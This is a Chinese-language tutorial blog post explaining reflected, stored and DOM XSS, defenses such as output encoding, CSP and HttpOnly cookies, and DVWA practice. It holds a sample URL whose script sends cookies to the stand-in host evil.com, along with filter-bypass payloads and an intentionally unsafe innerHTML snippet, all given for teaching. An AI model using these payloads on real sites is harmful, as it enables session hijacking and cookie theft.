逆元装置 ▍ INVERSION

丽·芙

CONSTRUCT — LIV
▍
意识海深度 · 回廊稳定
逆元装置 · 待机中
指挥官链接 · 未认证

Web安全入门:XSS攻击与防御详解

公開日: 2024-12-28 00:00 652文字 4 min read

この投稿は「日本語」では表示できません。元の投稿を表示しています。
从反射型到存储型,从原理到防御,全面解析跨站脚本攻击。

什么是 XSS?

XSS(Cross-Site Scripting,跨站脚本攻击)是 Web 安全领域最经典的漏洞之一。它的核心原理是:攻击者将恶意脚本注入到页面中,当其他用户浏览该页面时,脚本在用户浏览器中执行,从而达到窃取 Cookie、劫持会话、篡改页面等目的。

根据注入方式的不同,XSS 主要分为三类:

1. 反射型 XSS

恶意脚本作为请求参数的一部分,由服务端”反射”回响应页面。

https://example.com/search?q=<script>fetch('https://evil.com/?cookie='+document.cookie)</script>

如果服务端直接将 q 参数插入 HTML 而不做任何过滤,这段脚本就会在用户浏览器中执行。攻击者通常会通过邮件或即时消息诱导受害者点击这个链接。

2. 存储型 XSS

这是危害最大的 XSS 类型。用户输入被永久存储在服务器上(数据库、日志文件等),每次其他用户访问包含该内容的页面时,脚本都会被执行。

典型场景:论坛发帖、评论区、个人资料页。攻击者在昵称里嵌入 XSS payload,所有浏览该攻击者主页的用户都会中招。

3. DOM 型 XSS

和前两种不同,DOM XSS 的修改完全发生在客户端。例如:

// 危险代码
document.getElementById('greeting').innerHTML = location.hash.substring(1);

攻击者构造 https://example.com/#<img src=x onerror=alert(1)>,页面 JavaScript 直接将 hash 写入 innerHTML。

防御措施

输出编码

最核心的原则:永远不要信任用户输入。

上下文编码方式
HTML 文本内容&lt; &gt; &amp;
HTML 属性值对引号进行 HTML 实体编码
JavaScript 数据\x3C 十六进制转义
URL 参数encodeURIComponent()

Content Security Policy(CSP)

CSP 是现代浏览器最强大的 XSS 防御机制,通过 HTTP 响应头限制页面可以执行的脚本来源:

Content-Security-Policy: script-src 'self' 'nonce-随机值'

配合 nonce 或 hash 机制,即使攻击者成功注入了 <script> 标签,没有正确 nonce 值的脚本也不会被执行。

将认证相关的 Cookie 标记为 HttpOnly,这样即使 XSS 成功,也无法通过 document.cookie 窃取:

Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Lax

实战:DVWA 靶场练习

  1. Low 级别:无任何过滤,直接 <script>alert('xss')</script> 即可成功
  2. Medium 级别:过滤了 <script> 标签,但可用 <img src=x onerror=alert('xss')> 绕过
  3. High 级别:过滤更严格,但可通过大小写混写或编码绕过
  4. Impossible 级别:使用了 htmlspecialchars() 进行完整输出编码

从 Low 到 Impossible 的过程,就是一个安全工程师从入门到掌握防御思维的缩影。